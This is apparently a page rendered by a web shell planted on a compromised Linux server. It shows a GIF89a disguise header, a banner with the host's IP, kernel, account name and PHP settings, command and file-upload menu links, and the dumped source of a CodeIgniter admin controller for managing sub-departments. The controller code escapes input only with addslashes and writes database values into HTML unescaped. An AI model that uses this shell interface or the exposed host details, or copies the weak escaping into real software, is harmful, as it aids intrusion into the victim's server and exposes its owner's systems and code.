GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.133.123.162 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../admission/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller class for handling all requests related to sub-departments. * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class SubDepartment extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/SubDepartmentManagement'); $this->load->model('admin/DepartmentManagement'); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allSubDepartments'] = $this->SubDepartmentManagement->getAllSubDepartments()->result(); $this->load->view('admin/subDepartments', $viewData); } else { redirect("admin/"); } } public function createSubDepartment() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result(); $this->load->view('admin/createSubDepartment', $viewData); } else { redirect("admin/"); } } public function saveNewSubDepartment() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('subDeptName', 'Sub Department Name', 'trim|required', array('required' => 'Sub Department Name Can Not Be Blank.')); $this->form_validation->set_rules('dept', 'Parent Department', 'trim|required', array('required' => 'Please Select Parent Department For This Sub-Department.')); $queryBySubDepartmentName = $this->SubDepartmentManagement->getSubDepartmentInfoByName(trim($this->input->post('subDeptName'))); $subDepartmentInfoByName = $queryBySubDepartmentName->result(); if ($this->form_validation->run() == FALSE) { $this->createSubDepartment(); } else if (sizeof($subDepartmentInfoByName)) { $this->session->set_flashdata('errorMessage', "A Sub-Department With This Name Already Exits. Please choose A Different Name."); $this->createSubDepartment(); } else { $newSubDepartmentInfo = array( 'sub_dept_name' => addslashes(trim($this->input->post('subDeptName'))), 'sub_dept_description' => addslashes(trim($this->input->post('subDeptDescription'))), 'dept_id' => $this->input->post('dept'), 'sub_dept_added_on' => date("Y-m-d H:i:s"), 'sub_dept_added_by' => $this->session->userdata("adminData")["smember_id"], 'sub_dept_updated_on' => date("Y-m-d H:i:s"), 'sub_dept_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->SubDepartmentManagement->createNewSubDepartment($newSubDepartmentInfo)) { $this->session->set_flashdata('successMessage', 'Sub-Department Created Successfully.'); redirect("admin/SubDepartment"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Sub-Department. Try Later.'); redirect("admin/SubDepartment"); } } } else { redirect("admin/"); } } public function editSubDepartment($sub_dept_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result(); $viewData['subDepartmentInfo'] = $this->SubDepartmentManagement->getSubDepartmentInfoBy($sub_dept_id)->result()[0]; $this->load->view('admin/editSubDepartment', $viewData); } else { redirect("admin/"); } } public function updateSubDepartment() { if ($this->sessionvalidator->isLoggedIn()) { $sub_dept_id = $this->input->post('subDeptId'); $this->form_validation->set_rules('subDeptName', 'Sub Department Name', 'trim|required', array('required' => 'Sub Department Name Can Not Be Blank.')); $this->form_validation->set_rules('dept', 'Parent Department', 'trim|required', array('required' => 'Please Select Parent Department For This Sub-Department.')); if ($this->form_validation->run() == FALSE) { $this->createSubDepartment(); } else if (!$this->SubDepartmentManagement->isSubDepartmentNameSafeUpdate($sub_dept_id, trim($this->input->post('subDeptName')))) { $this->session->set_flashdata('errorMessage', "A Sub-Department With This Name Already Exits. Please choose A Different Name."); $this->createSubDepartment(); } else { $subDepartmentUpdateInfo = array( 'sub_dept_id' => $sub_dept_id, 'sub_dept_name' => addslashes(trim($this->input->post('subDeptName'))), 'sub_dept_description' => addslashes(trim($this->input->post('subDeptDescription'))), 'dept_id' => $this->input->post('dept'), 'sub_dept_updated_on' => date("Y-m-d H:i:s"), 'sub_dept_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->SubDepartmentManagement->updateSubDepartmentInfo($subDepartmentUpdateInfo)) { $this->session->set_flashdata('successMessage', 'Sub-Department Updated Successfully.'); redirect("admin/SubDepartment"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Sub-Department. Try Later.'); redirect("admin/SubDepartment"); } } } else { redirect("admin/"); } } public function toggleSubDepartmentStatus($sub_dept_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $subDepartmentUpdateData = array( 'sub_dept_id' => $sub_dept_id, 'sub_dept_updated_on' => date("Y-m-d H:i:s"), 'sub_dept_updated_by' => $this->session->userdata("adminData")["smember_id"], 'sub_dept_active_status' => $toUpdateStatus ); if ($this->SubDepartmentManagement->updateSubDepartmentInfo($subDepartmentUpdateData)) { $this->session->set_flashdata('successMessage', 'Sub-Department Status Updated Successfully.'); redirect("admin/SubDepartment"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Sub-Department Status. Try Later.'); redirect("admin/SubDepartment"); } } else { redirect("admin/"); } } public function deleteSubDepartment($sub_dept_id) { if ($this->sessionvalidator->isLoggedIn()) { $subDepartmentUpdateData = array( 'sub_dept_id' => $sub_dept_id, 'sub_dept_updated_on' => date("Y-m-d H:i:s"), 'sub_dept_updated_by' => $this->session->userdata("adminData")["smember_id"], 'sub_dept_delete_status' => 'T' ); if ($this->SubDepartmentManagement->updateSubDepartmentInfo($subDepartmentUpdateData)) { $this->session->set_flashdata('successMessage', 'Sub-Department Deleted Successfully.'); redirect("admin/SubDepartment"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Sub-Department. Try Later.'); redirect("admin/SubDepartment"); } } else { redirect("admin/"); } } public function undoDeleteSubDepartment($sub_dept_id) { if ($this->sessionvalidator->isLoggedIn()) { $boatUpdateData = array( 'sub_dept_id' => $sub_dept_id, 'sub_dept_updated_on' => date("Y-m-d H:i:s"), 'sub_dept_updated_by' => $this->session->userdata("adminData")["smember_id"], 'sub_dept_delete_status' => 'F' ); if ($this->SubDepartmentManagement->updateSubDepartmentInfo($boatUpdateData)) { $this->session->set_flashdata('successMessage', 'Sub-Department Recovered Successfully.'); redirect("admin/SubDepartment"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Sub-Department. Try Later.'); redirect("admin/SubDepartment"); } } else { redirect("admin/"); } } public function getNonDeletedActiveSubDepartmentsForDropDown() { $dept_id = $_POST['dept_id']; $query = $this->SubDepartmentManagement->getActiveNonDeletedSubDepartmentsUnderGivenDepartment($dept_id); $subDeptList = $query->result(); $options = "<option value=''>Select Sub-Department</option>"; for ($i = 0; $i < (sizeof($subDeptList)); $i++) { $options .= "<option value=" . $subDeptList[$i]->sub_dept_id . ">" . $subDeptList[$i]->sub_dept_name . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'sub_dept_list' => $options ); echo json_encode($responseData); } public function getNonDeletedActiveSubDepartmentsForDropDownSelected() { $dept_id = $_POST['dept_id']; $sub_dept_id = $_POST['sub_dept_id']; $query = $this->SubDepartmentManagement->getActiveNonDeletedSubDepartmentsUnderGivenDepartment($dept_id); $subDeptList = $query->result(); $options = "<option value=''>Select Sub-Department</option>"; for ($i = 0; $i < (sizeof($subDeptList)); $i++) { $selected = ($subDeptList[$i]->sub_dept_id == $sub_dept_id) ? "selected" : ""; $options .= "<option value=" . $subDeptList[$i]->sub_dept_id . " " . $selected . ">" . $subDeptList[$i]->sub_dept_name . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'sub_dept_list' => $options ); echo json_encode($responseData); } }